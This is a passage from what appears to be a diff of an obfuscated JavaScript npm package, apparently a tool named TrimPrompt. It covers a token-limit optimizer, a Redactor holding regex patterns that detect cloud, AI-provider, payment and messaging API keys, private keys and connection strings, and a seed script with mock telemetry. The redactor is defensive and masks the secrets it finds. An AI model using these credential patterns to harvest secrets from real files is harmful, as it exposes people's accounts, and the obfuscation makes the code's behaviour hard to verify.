up)/,/^(yes|no|ok|sure|thanks)/];if(_0x4afd1c<0x14&&_0x533919[_0x4ddbf7(0x11e)](_0xf8b3cf=>_0xf8b3cf[_0x4ddbf7(0x11b)](_0x2d6185)))return'simple';const _0x5cdc51=[/implement|refactor|rewrite|create .+ (file|module|class|component)/,/step[- ]by[- ]step|multiple|several|all of the/,/write (a |the )?(full|complete|entire)/,/add .+ and .+ and/,/migrate|convert .+ to/];if(_0x4afd1c>0x50||_0x5cdc51['some'](_0x6c92f5=>_0x6c92f5[_0x4ddbf7(0x11b)](_0x2d6185)))return _0x4ddbf7(0x117);return _0x4ddbf7(0x114);}function a0_0x58e1(){const _0x3b7a66=['some','40FhzEuF','defineProperty','3035817Dnwqbx','1507140jEygkr','3307020zpCjLd','28TJutmF','length','isArray','join','content','split','map','503488hCQpbx','medium','user','5997432ZKKzhv','complex','4mPZRqm','261468QvqdVt','__esModule','test','1266540kslDEd','text'];a0_0x58e1=function(){return _0x3b7a66;};return a0_0x58e1();}const MAX_TOKENS_MAP={'simple':0x800,'medium':0x1000,'complex':0x2000};function optimizeMaxTokens(_0x4e3015,_0x16d929){if(!_0x4e3015||_0x4e3015['length']===0x0)return null;const _0x2b01fd=lastUserText(_0x4e3015);if(!_0x2b01fd)return null;const _0x51df2f=classifyComplexity(_0x2b01fd),_0x1d7222=MAX_TOKENS_MAP[_0x51df2f];if(_0x16d929&&_0x16d929<=_0x1d7222)return null;return{'max_tokens':_0x1d7222,'complexity':_0x51df2f};}
1
+ 'use strict';function a0_0x3883(_0x2d9dcf,_0x28e28a){const _0x1ba7db=a0_0x1ba7();return a0_0x3883=function(_0x3883b8,_0x4a8fef){_0x3883b8=_0x3883b8-0x177;let _0x5dd4b6=_0x1ba7db[_0x3883b8];return _0x5dd4b6;},a0_0x3883(_0x2d9dcf,_0x28e28a);}const a0_0x341c1e=a0_0x3883;(function(_0x2b2fa5,_0x354104){const _0x1f845e=a0_0x3883,_0x3f2127=_0x2b2fa5();while(!![]){try{const _0x37c836=-parseInt(_0x1f845e(0x187))/0x1*(-parseInt(_0x1f845e(0x184))/0x2)+-parseInt(_0x1f845e(0x185))/0x3*(-parseInt(_0x1f845e(0x179))/0x4)+-parseInt(_0x1f845e(0x188))/0x5+-parseInt(_0x1f845e(0x18c))/0x6+parseInt(_0x1f845e(0x190))/0x7*(parseInt(_0x1f845e(0x17b))/0x8)+-parseInt(_0x1f845e(0x17d))/0x9*(-parseInt(_0x1f845e(0x18b))/0xa)+-parseInt(_0x1f845e(0x18d))/0xb;if(_0x37c836===_0x354104)break;else _0x3f2127['push'](_0x3f2127['shift']());}catch(_0x46f9e2){_0x3f2127['push'](_0x3f2127['shift']());}}}(a0_0x1ba7,0x5bbf9));Object[a0_0x341c1e(0x17a)](exports,'__esModule',{'value':!![]}),exports[a0_0x341c1e(0x186)]=optimizeMaxTokens;function lastUserText(_0x269780){const _0x30abe4=a0_0x341c1e;for(let _0x119f24=_0x269780[_0x30abe4(0x177)]-0x1;_0x119f24>=0x0;_0x119f24--){if(_0x269780[_0x119f24][_0x30abe4(0x18a)]===_0x30abe4(0x18e)){const _0x2950d4=_0x269780[_0x119f24]['content'];if(typeof _0x2950d4===_0x30abe4(0x183))return _0x2950d4;if(Array['isArray'](_0x2950d4))return _0x2950d4[_0x30abe4(0x17e)](_0x314972=>_0x314972[_0x30abe4(0x180)]===_0x30abe4(0x17c)&&_0x314972[_0x30abe4(0x17c)])[_0x30abe4(0x181)](_0x45de46=>_0x45de46['text'])['join']('\x0a');}}return'';}function classifyComplexity(_0x39a0d4){const _0x52ea6c=a0_0x341c1e,_0x4e8537=_0x39a0d4[_0x52ea6c(0x17f)](),_0x4a92cb=_0x4e8537['split'](/\s+/)[_0x52ea6c(0x177)],_0xbd20fb=[/^(what|where|which|who|when|how many|is |are |does |do |can |has )\S/,/\?$/,/^(show|list|print|get|find|check|look up)/,/^(yes|no|ok|sure|thanks)/];if(_0x4a92cb<0x14&&_0xbd20fb[_0x52ea6c(0x18f)](_0x5000e9=>_0x5000e9['test'](_0x4e8537)))return _0x52ea6c(0x189);const _0x14603c=[/implement|refactor|rewrite|create .+ (file|module|class|component)/,/step[- ]by[- ]step|multiple|several|all of the/,/write (a |the )?(full|complete|entire)/,/add .+ and .+ and/,/migrate|convert .+ to/];if(_0x4a92cb>0x50||_0x14603c[_0x52ea6c(0x18f)](_0x56d792=>_0x56d792[_0x52ea6c(0x178)](_0x4e8537)))return _0x52ea6c(0x182);return'medium';}function a0_0x1ba7(){const _0x43c9b5=['550790LyDWGr','802533GEvAVM','optimizeMaxTokens','1iKPisB','844120FvCUAp','simple','role','470UjUGJz','154932bUFGGY','7475875gTyiot','user','some','7OEUrCH','length','test','4WibCQH','defineProperty','5039184spUDiE','text','14796nRyUgd','filter','toLowerCase','type','map','complex','string'];a0_0x1ba7=function(){return _0x43c9b5;};return a0_0x1ba7();}const MAX_TOKENS_MAP={'simple':0x800,'medium':0x1000,'complex':0x2000};function optimizeMaxTokens(_0x1b10ad,_0x418872){const _0x1d5f88=a0_0x341c1e;if(!_0x1b10ad||_0x1b10ad[_0x1d5f88(0x177)]===0x0)return null;const _0x2d3fa8=lastUserText(_0x1b10ad);if(!_0x2d3fa8)return null;const _0x1b5750=classifyComplexity(_0x2d3fa8),_0x46c347=MAX_TOKENS_MAP[_0x1b5750];if(_0x418872&&_0x418872<=_0x46c347)return null;return{'max_tokens':_0x46c347,'complexity':_0x1b5750};}
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x5b95(_0x33511d,_0x1b4567){_0x33511d=_0x33511d-0xe4;const _0x22171f=a0_0x2217();let _0x5b95ba=_0x22171f[_0x33511d];return _0x5b95ba;}const a0_0xc53ec5=a0_0x5b95;(function(_0x46584b,_0x5eca58){const _0x1a4257=a0_0x5b95,_0x18edce=_0x46584b();while(!![]){try{const _0x275955=parseInt(_0x1a4257(0xe4))/0x1*(-parseInt(_0x1a4257(0xf8))/0x2)+-parseInt(_0x1a4257(0x111))/0x3*(parseInt(_0x1a4257(0xef))/0x4)+-parseInt(_0x1a4257(0xea))/0x5+-parseInt(_0x1a4257(0xf7))/0x6+-parseInt(_0x1a4257(0xf3))/0x7*(parseInt(_0x1a4257(0xf1))/0x8)+-parseInt(_0x1a4257(0x121))/0x9+parseInt(_0x1a4257(0x116))/0xa;if(_0x275955===_0x5eca58)break;else _0x18edce['push'](_0x18edce['shift']());}catch(_0xc86251){_0x18edce['push'](_0x18edce['shift']());}}}(a0_0x2217,0xb7b68));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['redactor']=exports[a0_0xc53ec5(0x10d)]=void 0x0;class Redactor{[a0_0xc53ec5(0xff)]=[];constructor(){const _0x4743b8=a0_0xc53ec5;this[_0x4743b8(0x112)]();}[a0_0xc53ec5(0x112)](){const _0x4fe66c=a0_0xc53ec5;this[_0x4fe66c(0xff)]=[{'name':_0x4fe66c(0x11a),'type':_0x4fe66c(0x107),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':'[REDACTED_AWS_KEY]'},{'name':_0x4fe66c(0xf9),'type':'aws_secret','regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x4fe66c(0x11e)},{'name':_0x4fe66c(0x103),'type':'gcp_key','regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':_0x4fe66c(0x124)},{'name':_0x4fe66c(0xed),'type':_0x4fe66c(0x125),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':_0x4fe66c(0xfe)},{'name':_0x4fe66c(0x101),'type':_0x4fe66c(0xf4),'regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':'[REDACTED_ANTHROPIC_KEY]'},{'name':_0x4fe66c(0x11c),'type':_0x4fe66c(0x105),'regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':'[REDACTED_OPENAI_KEY]'},{'name':_0x4fe66c(0x11d),'type':_0x4fe66c(0x113),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':_0x4fe66c(0xf0)},{'name':_0x4fe66c(0x109),'type':'slack_token','regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':'[REDACTED_SLACK_TOKEN]'},{'name':_0x4fe66c(0x11b),'type':_0x4fe66c(0x108),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x4fe66c(0xf6)},{'name':_0x4fe66c(0xfc),'type':_0x4fe66c(0x102),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x4fe66c(0x10e)},{'name':_0x4fe66c(0x106),'type':_0x4fe66c(0x104),'regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x4fe66c(0x118)},{'name':_0x4fe66c(0x123),'type':'private_key','regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x4fe66c(0x114)},{'name':'JWT\x20Token','type':_0x4fe66c(0x10a),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x4fe66c(0x110)},{'name':'Bearer\x20Token','type':_0x4fe66c(0xf2),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x4fe66c(0x115)},{'name':'Basic\x20Auth','type':'basic_auth','regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':_0x4fe66c(0xe5)},{'name':'Database\x20Connection\x20String','type':_0x4fe66c(0x119),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION]'},{'name':_0x4fe66c(0xec),'type':_0x4fe66c(0x100),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':'$1=[REDACTED_CREDENTIAL]'},{'name':_0x4fe66c(0xe7),'type':_0x4fe66c(0x126),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x4fe66c(0x10b),'alert':![]},{'name':_0x4fe66c(0xe6),'type':_0x4fe66c(0xfd),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x4fe66c(0x11f),'alert':![]}];}[a0_0xc53ec5(0xee)](_0x1d1677){const _0x4b4461=a0_0xc53ec5;return this['redactWithAudit'](_0x1d1677)[_0x4b4461(0x117)];}[a0_0xc53ec5(0xeb)](_0x24289d){const _0x57d892=a0_0xc53ec5;let _0x949a70=_0x24289d,_0x494acc=0x0;const _0x18378a=[];for(const _0x4a0f5e of this[_0x57d892(0xff)]){const _0x57df99=_0x949a70[_0x57d892(0xe9)](_0x4a0f5e[_0x57d892(0xfa)]);_0x57df99&&_0x57df99[_0x57d892(0xfb)]>0x0&&(_0x4a0f5e[_0x57d892(0x10f)]!==![]&&(_0x494acc+=_0x57df99[_0x57d892(0xfb)],!_0x18378a[_0x57d892(0x10c)](_0x4a0f5e[_0x57d892(0x120)])&&_0x18378a[_0x57d892(0xf5)](_0x4a0f5e[_0x57d892(0x120)])),_0x949a70=_0x949a70['replace'](_0x4a0f5e[_0x57d892(0xfa)],_0x4a0f5e[_0x57d892(0xe8)]));}return{'text':_0x949a70,'secretsFound':_0x494acc,'secretTypes':_0x18378a};}}exports[a0_0xc53ec5(0x10d)]=Redactor,exports[a0_0xc53ec5(0x122)]=new Redactor();function a0_0x2217(){const _0x42ac6e=['574495KoooBt','redactWithAudit','Generic\x20API\x20Key/Secret/Password','Azure\x20Connection\x20String','redact','8qYitNg','[REDACTED_GITHUB_TOKEN]','1264FavZWp','bearer','36694oAYCnR','anthropic_key','push','[REDACTED_STRIPE_KEY]','2415240uNQTGP','14wWCRkM','AWS\x20Secret\x20Key','regex','length','Twilio\x20Key','email','[REDACTED_AZURE_CONNECTION]','rules','generic_credential','Anthropic\x20API\x20Key','twilio_key','GCP\x20Service\x20Account\x20Key','sendgrid_key','openai_key','SendGrid\x20Key','aws_key','stripe_key','Slack\x20Token','jwt','[REDACTED_IP]','includes','Redactor','[REDACTED_TWILIO_KEY]','alert','[REDACTED_JWT]','1640193kJcFCC','loadDefaultRules','github_token','[REDACTED_PRIVATE_KEY]','Bearer\x20[REDACTED_TOKEN]','51255300TQbsYI','text','[REDACTED_SENDGRID_KEY]','db_connection','AWS\x20Access\x20Key','Stripe\x20Key','OpenAI\x20API\x20Key','GitHub\x20Token','$1=[REDACTED_AWS_SECRET]','[REDACTED_EMAIL]','type','8475336OKeTyC','redactor','Private\x20Key\x20Block','\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22','azure_conn','ip_address','141743vwbbtv','Basic\x20[REDACTED_AUTH]','Email\x20Address','IPv4\x20Address\x20(non-local)','replacement','match'];a0_0x2217=function(){return _0x42ac6e;};return a0_0x2217();}
1
+ 'use strict';const a0_0xe4b24b=a0_0x31d7;(function(_0x4b52fb,_0x501119){const _0x4be23f=a0_0x31d7,_0x20eede=_0x4b52fb();while(!![]){try{const _0x3fac44=-parseInt(_0x4be23f(0x109))/0x1+-parseInt(_0x4be23f(0xcb))/0x2*(parseInt(_0x4be23f(0xec))/0x3)+-parseInt(_0x4be23f(0xdb))/0x4+parseInt(_0x4be23f(0xee))/0x5*(-parseInt(_0x4be23f(0xd6))/0x6)+-parseInt(_0x4be23f(0xff))/0x7*(parseInt(_0x4be23f(0x108))/0x8)+-parseInt(_0x4be23f(0xcc))/0x9*(-parseInt(_0x4be23f(0xe3))/0xa)+-parseInt(_0x4be23f(0xd8))/0xb*(-parseInt(_0x4be23f(0xce))/0xc);if(_0x3fac44===_0x501119)break;else _0x20eede['push'](_0x20eede['shift']());}catch(_0x569f48){_0x20eede['push'](_0x20eede['shift']());}}}(a0_0x40d2,0xbbb9e));function a0_0x40d2(){const _0x28b60e=['regex','680CXNXmy','1457801rElkMh','push','Email\x20Address','[REDACTED_AWS_KEY]','$1=[REDACTED_AWS_SECRET]','114Wtavgv','88659IzNmuK','openai_key','36yVJfNq','[REDACTED_STRIPE_KEY]','slack_token','email','ip_address','rules','Bearer\x20Token','Redactor','1326TLtjOl','JWT\x20Token','14096731VfZRjS','$1=[REDACTED_CREDENTIAL]','Database\x20Connection\x20String','2569272TQVWFs','redact','gcp_key','stripe_key','[REDACTED_GITHUB_TOKEN]','GCP\x20Service\x20Account\x20Key','[REDACTED_TWILIO_KEY]','[REDACTED_DB_CONNECTION]','1270UwbtYm','[REDACTED_IP]','Basic\x20[REDACTED_AUTH]','AWS\x20Secret\x20Key','anthropic_key','length','redactor','__esModule','IPv4\x20Address\x20(non-local)','52098hnfCTY','Azure\x20Connection\x20String','22690OcPdOo','twilio_key','[REDACTED_ANTHROPIC_KEY]','aws_key','\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22','Stripe\x20Key','db_connection','Bearer\x20[REDACTED_TOKEN]','private_key','loadDefaultRules','sendgrid_key','generic_credential','azure_conn','Private\x20Key\x20Block','[REDACTED_PRIVATE_KEY]','redactWithAudit','alert','19257UZuORh','[REDACTED_AZURE_CONNECTION]','[REDACTED_SLACK_TOKEN]','SendGrid\x20Key','bearer','[REDACTED_SENDGRID_KEY]','basic_auth','Basic\x20Auth'];a0_0x40d2=function(){return _0x28b60e;};return a0_0x40d2();}function a0_0x31d7(_0x45d61f,_0x3d7f9b){const _0x40d214=a0_0x40d2();return a0_0x31d7=function(_0x31d745,_0x16de7a){_0x31d745=_0x31d745-0xc8;let _0x5edfb4=_0x40d214[_0x31d745];return _0x5edfb4;},a0_0x31d7(_0x45d61f,_0x3d7f9b);}Object['defineProperty'](exports,a0_0xe4b24b(0xea),{'value':!![]}),exports[a0_0xe4b24b(0xe9)]=exports[a0_0xe4b24b(0xd5)]=void 0x0;class Redactor{[a0_0xe4b24b(0xd3)]=[];constructor(){const _0xd694e=a0_0xe4b24b;this[_0xd694e(0xf7)]();}[a0_0xe4b24b(0xf7)](){const _0x14e261=a0_0xe4b24b;this['rules']=[{'name':'AWS\x20Access\x20Key','type':_0x14e261(0xf1),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x14e261(0xc9)},{'name':_0x14e261(0xe6),'type':'aws_secret','regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x14e261(0xca)},{'name':_0x14e261(0xe0),'type':_0x14e261(0xdd),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':_0x14e261(0xf2)},{'name':_0x14e261(0xed),'type':_0x14e261(0xfa),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':_0x14e261(0x100)},{'name':'Anthropic\x20API\x20Key','type':_0x14e261(0xe7),'regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x14e261(0xf0)},{'name':'OpenAI\x20API\x20Key','type':_0x14e261(0xcd),'regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':'[REDACTED_OPENAI_KEY]'},{'name':'GitHub\x20Token','type':'github_token','regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':_0x14e261(0xdf)},{'name':'Slack\x20Token','type':_0x14e261(0xd0),'regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':_0x14e261(0x101)},{'name':_0x14e261(0xf3),'type':_0x14e261(0xde),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x14e261(0xcf)},{'name':'Twilio\x20Key','type':_0x14e261(0xef),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x14e261(0xe1)},{'name':_0x14e261(0x102),'type':_0x14e261(0xf8),'regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x14e261(0x104)},{'name':_0x14e261(0xfb),'type':_0x14e261(0xf6),'regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x14e261(0xfc)},{'name':_0x14e261(0xd7),'type':'jwt','regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':'[REDACTED_JWT]'},{'name':_0x14e261(0xd4),'type':_0x14e261(0x103),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x14e261(0xf5)},{'name':_0x14e261(0x106),'type':_0x14e261(0x105),'regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':_0x14e261(0xe5)},{'name':_0x14e261(0xda),'type':_0x14e261(0xf4),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x14e261(0xe2)},{'name':'Generic\x20API\x20Key/Secret/Password','type':_0x14e261(0xf9),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':_0x14e261(0xd9)},{'name':_0x14e261(0xeb),'type':_0x14e261(0xd2),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x14e261(0xe4),'alert':![]},{'name':_0x14e261(0xc8),'type':_0x14e261(0xd1),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':'[REDACTED_EMAIL]','alert':![]}];}[a0_0xe4b24b(0xdc)](_0x3d03b9){return this['redactWithAudit'](_0x3d03b9)['text'];}[a0_0xe4b24b(0xfd)](_0x3623d6){const _0x239fb9=a0_0xe4b24b;let _0x53a0ae=_0x3623d6,_0x445fe4=0x0;const _0x2d468d=[];for(const _0x1881bb of this[_0x239fb9(0xd3)]){const _0x481952=_0x53a0ae['match'](_0x1881bb['regex']);_0x481952&&_0x481952[_0x239fb9(0xe8)]>0x0&&(_0x1881bb[_0x239fb9(0xfe)]!==![]&&(_0x445fe4+=_0x481952[_0x239fb9(0xe8)],!_0x2d468d['includes'](_0x1881bb['type'])&&_0x2d468d[_0x239fb9(0x10a)](_0x1881bb['type'])),_0x53a0ae=_0x53a0ae['replace'](_0x1881bb[_0x239fb9(0x107)],_0x1881bb['replacement']));}return{'text':_0x53a0ae,'secretsFound':_0x445fe4,'secretTypes':_0x2d468d};}}exports[a0_0xe4b24b(0xd5)]=Redactor,exports[a0_0xe4b24b(0xe9)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5c4999=a0_0x3058;function a0_0x3058(_0x4abc3d,_0x275b75){_0x4abc3d=_0x4abc3d-0x1c4;const _0x8e608=a0_0x8e60();let _0x30584e=_0x8e608[_0x4abc3d];return _0x30584e;}function a0_0x8e60(){const _0x6330c3=['Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','45537tZPSOw','docker\x20build\x20.','added\x201420\x20packages\x20in\x2014s\x0a','Successfully\x20built\x20image.','594NDDdOm','18yyFUhp','Test\x20suite\x20run\x20starting...\x0a','logExecution','4IPfNQQ','Database\x20successfully\x20seeded!','defineProperty','gpt-4o','2566003zETCpe','Step\x201/10\x20:\x20FROM\x20node:20\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','28UewfFS','Optimizing\x20assets...\x0a','claude-3-opus','gemini-1-5-pro','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','2802lBbtqK','136264yeplVS','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','106390gbdeCv','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','pytest\x20tests/app','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','log','tracker','48ZqiaOw','./tracker','test_auth.py\x20PASS\x0a','__esModule','13kelxSK','24215548mlGmCb','repeat','1264533SEzqBo','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','test_db.py\x20PASS\x0a','4955ZGpzWt'];a0_0x8e60=function(){return _0x6330c3;};return a0_0x8e60();}(function(_0x40bea9,_0x45ca0f){const _0x251ab9=a0_0x3058,_0x844d64=_0x40bea9();while(!![]){try{const _0x40c833=-parseInt(_0x251ab9(0x1dc))/0x1*(-parseInt(_0x251ab9(0x1e1))/0x2)+-parseInt(_0x251ab9(0x1d7))/0x3*(-parseInt(_0x251ab9(0x1e4))/0x4)+parseInt(_0x251ab9(0x1da))/0x5*(-parseInt(_0x251ab9(0x1c7))/0x6)+parseInt(_0x251ab9(0x1eb))/0x7*(parseInt(_0x251ab9(0x1c8))/0x8)+parseInt(_0x251ab9(0x1e0))/0x9*(-parseInt(_0x251ab9(0x1ca))/0xa)+-parseInt(_0x251ab9(0x1e8))/0xb*(parseInt(_0x251ab9(0x1d0))/0xc)+-parseInt(_0x251ab9(0x1d4))/0xd*(-parseInt(_0x251ab9(0x1d5))/0xe);if(_0x40c833===_0x45ca0f)break;else _0x844d64['push'](_0x844d64['shift']());}catch(_0x44d532){_0x844d64['push'](_0x844d64['shift']());}}}(a0_0x8e60,0x81a97));Object[a0_0x5c4999(0x1e6)](exports,a0_0x5c4999(0x1d3),{'value':!![]});const tracker_1=require(a0_0x5c4999(0x1d1));console[a0_0x5c4999(0x1ce)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x5c4999(0x1c4),tracker_1[a0_0x5c4999(0x1cf)][a0_0x5c4999(0x1e3)]('npm\x20run\x20build','Compilation\x20Output:\x0a'+'[INFO]\x20Building\x20modules...\x0a'+a0_0x5c4999(0x1ec)+a0_0x5c4999(0x1d8)[a0_0x5c4999(0x1d6)](0x190),a0_0x5c4999(0x1cb),0x0),process.env.TRIMPROMPT_MODEL=a0_0x5c4999(0x1e7),tracker_1[a0_0x5c4999(0x1cf)]['logExecution'](a0_0x5c4999(0x1cc),a0_0x5c4999(0x1e2)+a0_0x5c4999(0x1d2)+a0_0x5c4999(0x1d9)+'test_api.py\x20PASS\x0a'['repeat'](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x5c4999(0x1ea),0x0),process.env.TRIMPROMPT_MODEL=a0_0x5c4999(0x1c5),tracker_1['tracker'][a0_0x5c4999(0x1e3)](a0_0x5c4999(0x1dd),a0_0x5c4999(0x1db)+a0_0x5c4999(0x1e9)+a0_0x5c4999(0x1cd)+a0_0x5c4999(0x1c9)+a0_0x5c4999(0x1de)[a0_0x5c4999(0x1d6)](0x3)+a0_0x5c4999(0x1df),a0_0x5c4999(0x1c6),0x0),console[a0_0x5c4999(0x1ce)](a0_0x5c4999(0x1e5));
1
+ 'use strict';const a0_0x33f03e=a0_0x1366;function a0_0x1366(_0x1e9bff,_0x2d52c9){const _0x8777c6=a0_0x8777();return a0_0x1366=function(_0x136688,_0x274f5e){_0x136688=_0x136688-0x15b;let _0x4c5e43=_0x8777c6[_0x136688];return _0x4c5e43;},a0_0x1366(_0x1e9bff,_0x2d52c9);}(function(_0x43d050,_0x5124bd){const _0x124314=a0_0x1366,_0x37e5fe=_0x43d050();while(!![]){try{const _0x3fa41b=-parseInt(_0x124314(0x172))/0x1*(-parseInt(_0x124314(0x165))/0x2)+parseInt(_0x124314(0x176))/0x3*(parseInt(_0x124314(0x174))/0x4)+parseInt(_0x124314(0x163))/0x5*(parseInt(_0x124314(0x15c))/0x6)+parseInt(_0x124314(0x15f))/0x7*(-parseInt(_0x124314(0x178))/0x8)+parseInt(_0x124314(0x164))/0x9*(-parseInt(_0x124314(0x16b))/0xa)+parseInt(_0x124314(0x17e))/0xb*(-parseInt(_0x124314(0x16e))/0xc)+-parseInt(_0x124314(0x180))/0xd*(-parseInt(_0x124314(0x17b))/0xe);if(_0x3fa41b===_0x5124bd)break;else _0x37e5fe['push'](_0x37e5fe['shift']());}catch(_0x28b797){_0x37e5fe['push'](_0x37e5fe['shift']());}}}(a0_0x8777,0x45a27));Object['defineProperty'](exports,a0_0x33f03e(0x17c),{'value':!![]});const tracker_1=require(a0_0x33f03e(0x175));function a0_0x8777(){const _0xb2f085=['42058CPfSLq','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','logExecution','Optimizing\x20assets...\x0a','test_api.py\x20PASS\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','3939820tOLQwp','repeat','env','11112SmDylu','log','claude-3-opus','docker\x20build\x20.','1ffNwqW','[INFO]\x20Building\x20modules...\x0a','208oIuptl','./tracker','4530IHYVGJ','test_auth.py\x20PASS\x0a','486512ODIpuv','tracker','TRIMPROMPT_MODEL','397796zTRGEm','__esModule','test_db.py\x20PASS\x0a','550jhvSqS','pytest\x20tests/app','403OUIAtd','Test\x20suite\x20run\x20starting...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','264pJIRRj','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','35gXWbHp','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','gemini-1-5-pro','Database\x20successfully\x20seeded!','5590lLSZmG','9yaOaSf'];a0_0x8777=function(){return _0xb2f085;};return 